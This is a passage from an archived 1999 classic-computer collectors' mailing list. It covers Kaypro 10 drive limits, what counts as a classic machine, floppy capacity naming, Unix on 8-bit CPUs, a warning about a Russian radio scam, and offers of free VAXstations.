is all the standard K-10 EPROM can handle. If you want to use your ST-151 (or whatever) you will need to install the TurboROM or one of the other third party EPROMs that give much greater flexibility! - don From jim at calico.litterbox.com Sun Jan 24 23:27:51 1999 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:40:29 2005 Subject: Legitimacy of the Ten Year Rule. In-Reply-To: from "Don Maslin" at Jan 24, 1999 08:47:20 PM Message-ID: <199901250527.WAA11421@calico.litterbox.com> > > Speaking of classics, I'm hopefully going to get my hands on a Kaypro 10 in > > the near future. No idea if the hard disk is alive. Does anyone know if the > > disk in that machine is a full height mfm? I just happen to have a 40 meg > > replacement for it... :) > > Could be either, but if original, it will have 4 heads and 306 > cylinders! That is all the standard K-10 EPROM can handle. If you want > to use your ST-151 (or whatever) you will need to install the TurboROM or > one of the other third party EPROMs that give much greater flexibility! > > - don > eek. I imagine TurboROM is one of those parts you can't get for love nor money. I hope the drive works... -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? ----------------------------------------------------------------------- From dpeschel at u.washington.edu Sun Jan 24 23:42:31 1999 From: dpeschel at u.washington.edu (Derek Peschel) Date: Sun Feb 27 18:40:29 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: from "Doug" at Jan 24, 99 10:36:46 pm Message-ID: <199901250542.VAA25251@saul9.u.washington.edu> > So, don't worry, if you don't pay him $5K, it'll still have a good home. > $5K seems like a reasonable price, BTW (assuming he doesn't have a $20K > reserve). Only 1000 or so were made. It's historic. It would be easy to > justify. Who's gonna do it?! > > Not me! I have absolutely no desire to spend $5K on the thing. And this > confuses me a little. It's near the top of my wanted list, and I can > afford it, but the prospect doesn't interest me even a little bit. For > some reason, I find the idea somewhat offensive. I had the same feeling when I looked at the bid. (The Alto is also near the top of my list of Super-Cool Machines. It's much higher in Cool Use terms than an Apple I, or an Altair, or even a straight -8. It may not be higher in Cool Prestige terms than those machines, but that's OK.) One problem is that we on the list are spoiled. When we get an offer, it's usually in the form of, "Hey everybody, I have an XYZ for sale! It comes with this stuff and is in that condition, and I'm asking N dollars or so." But this guy is offering his machine as is, in unknown shape, probably with no docs or software, for EXACTLY $5000. (Or more, of course.) It just doesn't seem as inviting, and actually it seems a bit imperious. OK, most auctions are like that to some degree. But this one WAS extreme -- no description of the machine, no newsgroup message (at least not on the groups I read). > I guess it's because I think of an acquisition sort of like an "adoption". > I'm willing to house the thing, and spend a good chunk of time trying to > get it working, keep it working, and make it accessible to others. Why > should I have to pay $5K on top of that? Yeah, this thing would probably require some work to get and keep it runnfing. For starters, you'd have to find disk packs, put software on them, and possibly set up a boot server for 3MB/s Ethernet. The other reason the Altair is so high on my list is that I don't know of an emulator. Anyone? -- Derek From healyzh at aracnet.com Sun Jan 24 23:53:22 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:29 2005 Subject: DELQA Switch Settings In-Reply-To: <199901240000.AA04736@world.std.com> Message-ID: Megan Gentry wrote: >I don't know the restrictions for EQ (under TSX, I suppose), but >having been the designer and implementer of the ethernet drivers >under RT-11, I can tell you that they won't run under SJ and FB. You might want to have a look at the current release of the TCP/IP software. There seem to be two different sets of documentation, you want the documentation that's all one file. According to it the EQ driver has been modifed to work on a system running the SJ or FB monitor. However, I've not been able to get them installed, despite following the directions on how to do it, and what options to include in the SYSGEN. >I don't think you have to do this... TSX doesn't use the exact same xx.SYS >drivers that SB/FB use, it uses rebuilt ones with a file type >of .TSX So, as long as your TSX sysgen includes the driver, it >should be available... Opps..... You hit the problem on the head. I forgot to SYSGEN in the driver. I did that today, and while as far as I can tell I did everything right, it's complaining about the hardware. I know the hardware is good, as DECnet under RSX-11M can use it. Guess, I'll have to break down and try the XM versions of the software. The RT-11 install instructions are a lot easier than the TSX+ instructions. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From gram at cnct.com Mon Jan 25 00:13:26 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:40:29 2005 Subject: Legitimacy of the Ten Year Rule. References: <199901250527.WAA11421@calico.litterbox.com> Message-ID: <36AC0B86.F377741@cnct.com> Jim Strickland wrote: > > > > Speaking of classics, I'm hopefully going to get my hands on a Kaypro 10 in > > > the near future. No idea if the hard disk is alive. Does anyone know if the > > > disk in that machine is a full height mfm? I just happen to have a 40 meg > > > replacement for it... :) > > > > Could be either, but if original, it will have 4 heads and 306 > > cylinders! That is all the standard K-10 EPROM can handle. If you want > > to use your ST-151 (or whatever) you will need to install the TurboROM or > > one of the other third party EPROMs that give much greater flexibility! > > > > - don > > > eek. I imagine TurboROM is one of those parts you can't get for love nor > money. I hope the drive works... Oh, you can use just about any ST-506/MFM drive with the standard ROM. But you can only use up to 4 heads and 306 cylinders, all other capacity remains unaccessable. -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From healyzh at aracnet.com Mon Jan 25 00:18:10 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:29 2005 Subject: CoCo3's & Legitimacy of the Ten Year Rule. In-Reply-To: <3.0.1.32.19990124230710.0097dc70@mail.30below.com> References: Message-ID: >>On Sat, 23 Jan 1999, Bill Yakowenko wrote: >>> 2. Nothing PC- or Mac-compatible can ever be classic. Sorry, that's >>> just an indisputable fact. :-) Hrmmm? I think there are some Classic Mac's, and I'd even go so far as to say that there are some classic PC's. The thing is, they aren't that interesting. >But what about a "Mac Classic???" ;-) Methinks they're over 10 years old, >and they have *classic* right in the name!!! ;-) October '90 >Erm, sorry... I (and I think most others would agree with me here) don't >believe that would work correctly, either. My beloved CoCo3 is more than >easily considered a classic here, as they *started* production in 1986 (and >mine was the first one in over a 50 mile radius of my area), but they were >still in production at least into 1990, and I know they were still in-stock >items in Radio Shacks & RSCC's in 1990, maybe 1991. Another example of this would be the Apple //e. I don't remember when production started, in the early 80's I believe. But they were made till 1992. The C-64 and Amiga 500 were other LONG lived systems. Personally I'm inclined to say anything that isn't a PC or Mac is a Classic. The BeBox is a definite classic in my opinion, and I've never even seen one. It's from what, about '94? Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From donm at cts.com Mon Jan 25 00:27:26 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:40:29 2005 Subject: Legitimacy of the Ten Year Rule. In-Reply-To: <199901250527.WAA11421@calico.litterbox.com> Message-ID: On Sun, 24 Jan 1999, Jim Strickland wrote: > > > Speaking of classics, I'm hopefully going to get my hands on a Kaypro 10 in > > > the near future. No idea if the hard disk is alive. Does anyone know if the > > > disk in that machine is a full height mfm? I just happen to have a 40 meg > > > replacement for it... :) > > > > Could be either, but if original, it will have 4 heads and 306 > > cylinders! That is all the standard K-10 EPROM can handle. If you want > > to use your ST-151 (or whatever) you will need to install the TurboROM or > > one of the other third party EPROMs that give much greater flexibility! > > > > - don > > > eek. I imagine TurboROM is one of those parts you can't get for love nor > money. I hope the drive works... I am fairly certain that it is available from TCJ. See my sig. - don Oh! And I meant to type ST-251! > -- > Jim Strickland > jim@DIESPAMMERSCUMcalico.litterbox.com > ----------------------------------------------------------------------- > Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? > ----------------------------------------------------------------------- > donm@cts.com *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* Don Maslin - Keeper of the Dina-SIG CP/M System Disk Archives Chairman, Dina-SIG of the San Diego Computer Society Clinging tenaciously to the trailing edge of technology. Sysop - Elephant's Graveyard (CP/M) Z-Node 9 - 619-454-8412 *--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--* see old system support at http://www.psyber.com/~tcj visit the "Unofficial" CP/M Web site at http://devili.iki.fi/cpm with Mirror at http://www.mathcs.emory.edu/~cfs/cpm From pete at dunnington.u-net.com Mon Jan 25 01:37:17 1999 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:40:29 2005 Subject: Legitimacy of the Ten Year Rule. In-Reply-To: ard@p850ug1.demon.co.uk (Tony Duell) "Re: Legitimacy of the Ten Year Rule." (Jan 25, 1:32) References: Message-ID: <9901250737.ZM9860@indy.dunnington.u-net.com> On Jan 25, 1:32, Tony Duell wrote: > > On Sat, 23 Jan 1999, Bill Yakowenko wrote: > > > 2. Nothing PC- or Mac-compatible can ever be classic. Sorry, that's > > > just an indisputable fact. :-) > > > > How about a VAX emulating a PC? > > Or more seriously an Acorn Archimedes running the PC-emulator. The > Archimedes is undoubtedly a classic (or will be as the machines get to 10 > years old). It was the first (popular?) desktop system to use a RISC > processor. The first Archimedes 310 was sold in July 1988. It might just qualify as the first desktop machine using a RISC processor, though there's not a whole lot of difference between that and a small deskside machine. Machines using MIPS chips, the Clipper, and the IBM RT were around first, but they were at least an order of magnitude more expensive. The Archimedes real claim is that it was the first mass-market RISC-based computer. -- Pete Peter Turnbull Dept. of Computer Science University of York From netcafe at pirie.mtx.net.au Mon Jan 25 01:59:22 1999 From: netcafe at pirie.mtx.net.au (Computer Room Internet Cafe) Date: Sun Feb 27 18:40:30 2005 Subject: Legitimacy of the Ten Year Rule. Message-ID: <01be4838$9ea478e0$f17d38cb@netcafe.pirie.mtx.net.au> -----Original Message----- From: Allison J Parent To: Discussion re-collecting of classic computers Date: Monday, 25 January 1999 9:44 Subject: Re: Legitimacy of the Ten Year Rule. ><5. The ten year rule should apply to the date when a thing dropped off >< in popularity; if it was still in common use eight years ago, it is >< not yet classic. (Justification: if it is still in common use, >< there will be other places to discuss it.) > >Humm. This one is tough. We talk about VAXen and the MicroVAX is only >about 14-15 years old and some models do persist but they are uniquly >new compared to others. Example, we wouldn't be talking about 6xxx series >as the oldest ones are early 90s. Ahem, I've got one here that is stamped 89. I understood they went into production in 88. I have another that is stamped JAN 1990. I suggest that these are "classic" machines in their own right anyway, age notwithstanding. However I would accept the consensus of the list members on the legitimacy of this. How say you? >The keys are OLDness, UNIQUEness and desireability. I'm sure there are >technical aspects that would qualify like machines with unusual word >length or the like but, they should be 80s or earlier in introduction >or common use. > >So long as it's related to the collecting, preserving and discussion >centered around older machines there is little conflict. Agree totally. As I said earlier, the 10 year bit should be a guide, not a lockout. All of this is IMHO only, of course..... Cheers Geoff Roberts Computer Room Internet Cafe Port Pirie South Australia. netcafe@pirie.mtx.net.au From eric at brouhaha.com Mon Jan 25 02:58:56 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:30 2005 Subject: CoCo3's & Legitimacy of the Ten Year Rule. In-Reply-To: <3.0.1.32.19990124230710.0097dc70@mail.30below.com> (message from Roger Merchberger on Sun, 24 Jan 1999 23:07:10 -0500) References: <3.0.1.32.19990124230710.0097dc70@mail.30below.com> Message-ID: <19990125085856.6090.qmail@brouhaha.com> > But what about a "Mac Classic???" ;-) Methinks they're over 10 years old, > and they have *classic* right in the name!!! ;-) No, the Macintosh Classic is not yet 10 years old. The Classic Macintosh (AKA the original Macintosh, AKA Mac 128) is a different beast. It's almost 15 years old. From Hans.Franke at mch20.sbs.de Mon Jan 25 07:07:47 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:30 2005 Subject: thousend K (was: Reiability of wrong media (was: is out of 5-1/4" diskettes) In-Reply-To: References: <199901220432.AA17098@world.std.com> from "Megan" at Jan 21, 99 11:32:11 pm Message-ID: <199901251208.MAA21374@nixpbe.pdb.sni.de> Tony's description: > Let's start with the '360K' disk. > It has 2 sides, 40 tracks, 9 sectors/track, 512 bytes per sector. The > total number of bytes is therefore 368640 bytes. > But since 1K = 1024 bytes, that's also 360K _exactly_. That's the > formatted capacity, including the space taken up for the root directory, etc. > Similarly for a '720K' disk. The only difference is that it has 80 > tracks, so it's exactly twice as much storage. _Exactly_ 720K Taken and agreed. > But the other sizes are more bogus... The '1.2 Mbyte' disk is 2 sides, 80 > tracks, 15 sectors/track, 512 bytes/sector. That works out as > 1228800 bytes. > Now, 1K = 1024 bytes, 1Mb = 1024*1024 bytes = 1048576 bytes. > So a '1.2M' disk can also be considered as storing 1200K or > 1.171875Mbytes. That's a little less than 1.2Mbytes, strictly. Right, and you just missed the chance to give the explanetion. see below. > The '1.44Mbyte' disk has 2 sides, 80 tracks, 18 sectors/track, 512 > bytes/sector. That's 1474560 bytes. It's also 1440Kbytes or 1.40625Mbytes > [...] > The only way to get the commonly-used names is to take 1Mbytes as > 1024*1000 bytes. There is no justification for this at all. Justification ? I don't know, but there's an explanation - we need some techno archeology - in the AT manual, the 1.2M drive is nominated as having 1,200 Kbytes of storage - and AFAICT after digging thru old magazines, IBM didn't advertise it as 1.2M, only as 5.25" HD. Also, IBM did advertise the 1.44M drive only as 1440 K 3.5" HD drive - I found also several old disks that state 1440 K formated capacity on the box and label. So, my guess is a sinister group of iluminati managed to twist the systems to keep the people controllable (of course they are part of the government). Of course there is also another explanation, where a typical technical half literate marketing guy combined his old school knowledge that 1000 k is 1 M with the number 1,200 K (or 1,440 K) to produce the more easy to advertise 1.2M FD. And according to Occams Razor, where, whenever two theories exist that fit the problem, the simplest is right, #1 has clearly the preference (Or do you think tecnical half literate marketing people are more likely than iluminati ?). Have a nice WE H. -- Ich denke, also bin ich, also gut HRK From dogas at leading.net Mon Jan 25 06:48:25 1999 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:40:30 2005 Subject: PDP-8 prices Message-ID: <01be4860$ffb40240$e5c962cf@devlaptop> -----Original Message----- From: Tony Duell >Computer collecting was a lot more fun when you could grab a random >machine for a few pounds/dollars, take it home and enjoy it. I agree. That's why I hate the commercialization now occuring in this hobby. I't just about gaurantees that there will be few newcomers into the hobby that can amass the bit piles many of us own and love to explore. Mike: dogas@leading.net From rigdonj at intellistar.net Mon Jan 25 09:17:46 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:30 2005 Subject: OT: iMAC adapters Message-ID: <3.0.1.16.19990125091746.3a47510e@intellistar.net> Yesterday someone posted about a company that makes printer adapters for the iMAC. This morning I found a site that makes adapters to let you use ABD, USB and serial devices for the iMAC. "http://www.griffintechnology.com/" Joe From Hans.Franke at mch20.sbs.de Mon Jan 25 08:15:58 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:30 2005 Subject: Atari Numbers (was: Reiability of wrong media (was: is out of 5-1/4" diskettes) In-Reply-To: References: Message-ID: <199901251316.NAA22802@nixpbe.pdb.sni.de> > > Anyway, I might accept that 1Mbyte = 10^6 bytes, particularly if you > > happen to have a decimal or BCD machine :-) (this is classiccmp). But I > > don't see any justification for making it 1024000 bytes. And that's the > > only way you can have '1.44Mbytes' on a HD 3.5" disk > > And we get the 10^6 error as well of course with the Atari STs, models > 520 and 1040. THese thave been model/type numbers, but at least they where (until the upgraded 1040 with an exception of the 260+/520+ quirk) consistent - The numbering started with the 65XS system (with 65 kilobytes) and the 130XL (double the size) and continued with the 260ST (256K or 4 times the 65) and the 520ST (512K or 8 times 65) - here the 260+ and 520+ comes in, whitch are basicly upgraded 260s and 520s (the 260+ got a full settled memory like the 520 and the 520+ recived a pigy pack memory add on to give 1 Meg of Mem) - and the 1040 is just the last in this series with 1024K or 16 times 65 'kilos' ... These numbers are, within the respective system logical and well defind - and since they are just model number, thy don't have to reflect any technical meaning. Gruss H. -- Ich denke, also bin ich, also gut HRK From Hans.Franke at mch20.sbs.de Mon Jan 25 08:15:58 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:30 2005 Subject: OT: Alien Media (was Disasters and Recovery) In-Reply-To: <9901222251.ZM4814@indy.dunnington.u-net.com> References: "Hans Franke" "Re: OT: Alien Media (was Disasters and Recovery)" (Jan 22, 19:16) Message-ID: <199901251316.NAA22805@nixpbe.pdb.sni.de> > > only one is an electric unit (the Ampere). And only these > > 7 units have to be defined on specific, reproducable effects. > > 1V is defined as 1 kg m^2 / A s^2. > As Hans implies, all other units are derived from these seven (and the two > angular measures). But the volt is defined as kg m^2 / (A s^3) -- Hans > lost a "per second" (Hertzlos, I suppose ;-). Just a bloody German - Herzlos ! Hans -- Ich denke, also bin ich, also gut HRK From Hans.Franke at mch20.sbs.de Mon Jan 25 08:15:58 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:30 2005 Subject: 1 kg(was:: OT: Alien Media (was Disasters and Recovery)) In-Reply-To: <199901222014.PAA02085@armigeron.com> References: <199901221835.SAA07966@nixpbe.pdb.sni.de> from "Hans Franke" at Jan 22, 99 07:35:30 pm Message-ID: <199901251316.NAA22799@nixpbe.pdb.sni.de> > It was thus said that the Great Hans Franke once stated: > > > Philip.Belben@pgen.com wrote: > > > > Metre, Kilogram, Second, Ampere, Kelvin, Mole and Candela (normally > > > Kilogram? Why not gram? > > Since the base unit is the Kilogram. As Philip said, > > the Mass is still defined by the artefact kilogram > > in Paris - there is no other definition until now. > Uh, I thought a gram was defined as 1 cc of water at 4C. A kilogram is > 1,000 cc of water at 4C, which is one litre of water (a litre being 1,000 cc > volume). Basicly there should have been a unit called grave, that equals the weight of 1 dm water - but after the french revolution, the new politicians (the original metric system idea was _not_ an invention of the revolution - most work, including the definiton had already been done by a kings commision, ordered by Louis XVI - the revolutionaries just took the fruit)decided that it would be better to have a gramme as basic unit - since most (fine/exact) measurements would be based on smaler units than a (what now is know as) kg. They just had a technical problem - a prototype of a g unit would be very small, and to get the same acuracy the methods of production had to be 1000 times more exact than for a kilogramme (for example if there is a complete layer of atomes 'to much' around the prototype, it inflicts a 1g prototype 1000 times as much as a 1 kg prototype). So the definition of the kg as the base unit is a mixed up of usability and technical possibilities. In fact, the logical base unit would have been a ton: one m^3 of water. Gruss H. -- Ich denke, also bin ich, also gut HRK From cfandt at netsync.net Mon Jan 25 07:36:55 1999 From: cfandt at netsync.net (Christian Fandt) Date: Sun Feb 27 18:40:30 2005 Subject: FYI: scam followup Message-ID: <4.1.19990124181905.00afa750@206.231.8.2> Hi folks, Recently we were discussing a Russian source of old radios and old computers. It was prompted by a posting to ClassicCmp from a Russian site ("The Old Radios Trade ") with a title "Old Radios" (Date: Thu, 24 Dec 1998 00:08:36 +0300.) Check the CC archives if you want as it's not needed to post here. I politely wrote back saying this was a forum for old computers upon which I got a quick reply stating (basicly) they could get us any computer we desired. See "Fwd: Re: Old Radios" (Date: Thu, 24 Dec 1998 17:56:54 -0500.) Most of us I hope, figured this is a scam and stayed away. Just recently, one of our members had written here indicating they were interested in feedback on these characters. Well, on the newsgroup rec.antiques.radio+phono there is some feedback. DejaNews should have the thread "WARNING-RUSSIAN RADIO TRADING FRAUD!!!" from 15 Jan. Apparently some folks got hitup for some bucks and got no radios. Partial quote from one of the postings: >This is a cautionary post to warn you all about an apparently >unscrupulous dealer in Russian collectables, including antique radios. >He sends letters by E-mail, soliciting business, under the trade name of >RadioTrade, or The Old Radio Trader, trading under the name, currently, >of either >Oleg Tikhonov, or Walentin Mihaylin. He is offering to sell several Red >Star radios, as well as other portables, and possibly a wooden Russian >table set called Belarus 53. He sends E-mail originating from Kaluga, a >city near Moscow. The scam is that he will have funds sent to him, and >they will either be lost in transit, or sent back to you as a refund, >and then have them lost in transit, when in reality, an empty envelope >will be sent to you as a registered packet. I have been personally >ripped off of a fair sum of money, and he has attempted to arrange I guess those folks were a bit more interested in scoring a Russian radio than in understanding what they should have previously heard in the major news media about the latest Russian scams coming along nowadays. Or, they simply lacked common sense to judge this as "Too good to be true". Enough said on this. Just be aware of it if you are looking for Russian or other ex-Soviet block machines. Regards, Chris -- -- Christian Fandt, Electronic/Electrical Historian Jamestown, NY USA cfandt@netsync.net Member of Antique Wireless Association URL: http://www.ggw.org/freenet/a/awa/ From Hans.Franke at mch20.sbs.de Mon Jan 25 08:46:11 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:30 2005 Subject: 6502 unix (was: WooHoo!! PC/XT Unix anyone?) In-Reply-To: <199901222328.PAA18326@oa.ptloma.edu> References: from "cswiger" at Jan 22, 99 04:28:29 pm Message-ID: <199901251347.NAA23434@nixpbe.pdb.sni.de> > ::"On somewhat of a tangent, there is continuing work to > ::support a subset of the Linux kernel on 8086, 8088, > ::80186, and 80286 machines. This project will never > ::integrate itself with Linux-proper but will provide > ::an alternative Linux-subset operating system for > ::these machines. " > I'm waiting for Linux/6502. There is a Unix alike OS for the IIgs. Linux itself will never run, since it relies on virtual memory with memory protection. You might have to design your own system with an external MMU - maybe some of the external 68K MMUs might be usable. But even then, a full fledged 65816 with 16 MB would still be not very atractive. Gruss H. P.S.: We once had an A2 compatible system with virtual memory running - it was a try to get more mem inside - so we added a 64x8 Bit RAM addressed by A10 thru A15, giving A10 thru A17 for a 256 KB of mem. So the system was able to replace mem in 1 K steps, giving 5.25 times the mem of an ordinary Apple (did I mention that only the lower 48 K where exchangabe ? :) - two of these beasts have been made - complete hand wired Apple II+ clones... We did it while our military service - plenty of time but nothing usefull to do - so we decided to clone my Apple - I had bought my Apple ][ just before my service - the clones where for two friends (one of the reare occasions where Unteroffiziers (Sergants) have been outed as humans :). We also included another 64 K, where the first 16 there addressable like the language card, but the later 48 had an adressing compatible to the Saturn 128K card - a bit weired, but with plenty of time and no money ... (BTW: the mem was build up from 64Kb and 16Kb RAMs (32x64+32x16), since the 256K chips where unavailable at this time (~1980)) -- Ich denke, also bin ich, also gut HRK From adavie at mad.scientist.com Mon Jan 25 08:11:16 1999 From: adavie at mad.scientist.com (Andrew Davie) Date: Sun Feb 27 18:40:30 2005 Subject: Soviet BK-0010 In-Reply-To: <199901251347.NAA23434@nixpbe.pdb.sni.de> Message-ID: <000f01be486c$92a7f060$7bf438cb@a.davie> Re: Soviet BK-0010 computer. Just found out that I actually "have" one of these machines. It was a surprise to me (its a long story). Anyway, it's still in Russia of course. This computer is "the smallest analog of PDP-11". I thought I'd ask the list if anyone has any suggestions as to ways of getting HEAVY things out of Russia. I have lots of experience getting small calculators and slide rules out. I'd prefer not to dismantle this thing :) As a side-note, the school to which the person who provided me with the BK-0010 goes... is "FULL of NeXT stations". Apparently they were provided gratis in an attempt to attract sales. Interesting, no? A -- adavie@mad.scientist.com visit the Museum of Soviet Calculators at http://www.comcen.com.au/~adavie/slide/calculator/soviet.html a Yahoo!, Netscape, Wall Street Journal, Newsweek and New Scientist Cool Site!? From Hans.Franke at mch20.sbs.de Mon Jan 25 09:26:54 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:30 2005 Subject: Unix for 8080/Z80? [Re: WooHoo!! PC/XT Unix anyone?] In-Reply-To: References: <007f01be469c$24f808b0$11d53d9d@JOEBAR> from "Joseph S. Barrera III" at Jan 22, 99 10:46:44 pm Message-ID: <199901251427.OAA24347@nixpbe.pdb.sni.de> > > Any Unix clones for 8080/Z80 systems? It ought to be doable, given that the > > original Unix was done on a 64KB address space machine... > The problem with any multi-tasking or multi-user system on a Z80 is that > there is no easy way to write position-independant code. There is no > relative call and no relative loads/stores (both the PDP11 and the 6809 > have them). There are workarounds (either you use RST instructions to > simulate the relative call, etc or you relocate the task when you load > it), but they make life a little harder. Most multi user/programming atempts for Z80 systems (and 6502 which had also (long) relative jumps) I know did go for bank switching, where the whole 64K mem, minus the OS parts, was banked for each task - so every programm had a fixed starting address, and a maximum mem size, based on the bank size. Gruss H. -- Ich denke, also bin ich, also gut HRK From Hans.Franke at mch20.sbs.de Mon Jan 25 09:26:54 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:30 2005 Subject: Unix for 8080/Z80? [Re: WooHoo!! PC/XT Unix anyone?] In-Reply-To: <199901231822.AA04249@world.std.com> Message-ID: <199901251427.OAA24350@nixpbe.pdb.sni.de> Date sent: Sat, 23 Jan 1999 13:22:17 -0500 Send reply to: classiccmp@u.washington.edu From: allisonp@world.std.com (Allison J Parent) To: "Discussion re-collecting of classic computers" Subject: Re: Unix for 8080/Z80? [Re: WooHoo!! PC/XT Unix anyone?] > Uzi in a 64k machine required 32k of it for the kernel and the rest for > apps. It was a full swaping scheme so hard disk for similar was a must > have. Banking/mmu made it more palateable as you could have the kernel in > it's own space. AFAIR (pleas correct me) there was also a multi user unix system from ALTOS based on the Z80 - AFAIR for up to four user terminals. Gruss H. -- Ich denke, also bin ich, also gut HRK From kyrrin at my-dejanews.com Mon Jan 25 08:59:06 1999 From: kyrrin at my-dejanews.com (Bruce Lane) Date: Sun Feb 27 18:40:30 2005 Subject: FW: FREE VAXStation 3100, New York Area Message-ID: <36ac868e.508610513@smtp.jps.net> Too far for me, perhaps someone else can make it? -=-=- -=-=- From: hudson17@my-dejanews.com Newsgroups: comp.os.vms Subject: Free VAXstation in New York Date: Mon, 25 Jan 1999 09:47:13 GMT Organization: Deja News - The Leader in Internet Discussion Lines: 9 Message-ID: <78hej0$9aa$1@nnrp1.dejanews.com> NNTP-Posting-Host: 209.154.78.10 X-Article-Creation-Date: Mon Jan 25 08:48:23 1999 GMT X-Http-User-Agent: Mozilla/4.5 [en] (Win95; U) X-Http-Proxy: 1.0 x5.dejanews.com:80 (Squid/1.1.22) for client 209.154.78.10 Path: news1.jps.net!news.pbi.net!207.33.1.6!news.he.net!newsfeed.enteract.com!news.maxwell.syr.edu!nntp2.dejanews.com!nnrp1.dejanews.com!not-for-mail Xref: news1.jps.net comp.os.vms:17888 Free VAXstation 3100 available in New York City. Color monitor, TK-50. Works. Also available VMS 5.x full manual set. Must be picked up before 1/31. Respond via e-mail or call 212 662-0263. -----------== Posted via Deja News, The Discussion Network ==---------- http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own -=-=-=-=-=-=-=-=- Bruce Lane, Owner and head honcho, Blue Feather Technologies -- kyrrin (at) bluefeathertech [dot] com Web: http://www.bluefeathertech.com "...No matter how we may wish otherwise, our science can only describe an object, event, or living thing in our own human terms. It cannot possibly define any of them..." From kyrrin at my-dejanews.com Mon Jan 25 09:00:44 1999 From: kyrrin at my-dejanews.com (Bruce Lane) Date: Sun Feb 27 18:40:30 2005 Subject: FW: More FREE goodies in NY Message-ID: <36ad86f1.508709976@smtp.jps.net> OK, this may be the same guy. Now they say they're willing to ship. -=-=- -=-=- From: cvt@sprynet.com Newsgroups: comp.sys.dec Subject: Free in NYC: VAXstation and DECstation Date: Mon, 25 Jan 1999 10:00:38 GMT Organization: Deja News - The Leader in Internet Discussion Lines: 14 Message-ID: <78hfc3$9o2$1@nnrp1.dejanews.com> NNTP-Posting-Host: 209.154.78.10 X-Article-Creation-Date: Mon Jan 25 10:00:38 1999 GMT X-Http-User-Agent: Mozilla/4.5 [en] (Win95; U) X-Http-Proxy: 1.0 x5.dejanews.com:80 (Squid/1.1.22) for client 209.154.78.10 Path: news1.jps.net!news.pbi.net!207.33.1.6!news.he.net!newsfeed.enteract.com!newsswitch.lcs.mit.edu!newsfeed.cwix.com!204.238.120.130!news-feeds.jump.net!nntp2.dejanews.com!nnrp1.dejanews.com!not-for-mail Xref: news1.jps.net comp.sys.dec:5896 A VAXstation 3100 (with color monitor and VMS manual set) and a DECstation 3100 (also with color monitor) available in New York City. Both machines work. A TK-50 drive is also available for either of these. The VMS manuals are also available separately. The machines may be picked up -- or will be shipped if recipient makes the necessary arrangements (we will pack them in their original cartons). For more information, call 212 662-0263. -----------== Posted via Deja News, The Discussion Network ==---------- http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own -=-=-=-=-=-=-=-=- Bruce Lane, Owner and head honcho, Blue Feather Technologies -- kyrrin (at) bluefeathertech [dot] com Web: http://www.bluefeathertech.com "...No matter how we may wish otherwise, our science can only describe an object, event, or living thing in our own human terms. It cannot possibly define any of them..." From Hans.Franke at mch20.sbs.de Mon Jan 25 09:59:46 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:30 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: <3.0.1.32.19990124231129.00930d50@mail.30below.com> References: Message-ID: <199901251500.PAA25020@nixpbe.pdb.sni.de> > On or about 10:36 PM 1/24/99 -0500, Doug was caught in a dark alley > speaking these words: > >Not me! I have absolutely no desire to spend $5K on the thing. And this > >confuses me a little. It's near the top of my wanted list, > > and I can afford it, > ^^^^^^^^^^^^^^^^^^^^^^ > You can *afford* it??? Wanna adopt me??? ;-) ARE you affordable ? And will the adoption include your collection ? (Buy a company, take the silver and send the rest to unemployment - remember the 80s rule :) Gruss H. -- Ich denke, also bin ich, also gut HRK From cswiger at wilma.widomaker.com Mon Jan 25 09:50:29 1999 From: cswiger at wilma.widomaker.com (cswiger) Date: Sun Feb 27 18:40:30 2005 Subject: Bugbooks - Mark 80 Message-ID: List: Last night we found, in of all places the attic, some missing literature - my given up for lost original Altair BASIC Referance manual, complete with the little MITS tty test printout ( ?SIN(3.14159/6) \ .5 \ ok ), an Atari BASIC quick referance guide, ad for an Atari MPP modem, and most interesting "Bugbook III", 1975 which discusses a MARK 80 (8080) Microdesigner of E&L instruments. This is somewhat interesting as it consists of a backplane with a breadboard area complete with bus connections for interfacing experiments. Bus is called SK-10 and cards plug into dual wide DEC edge 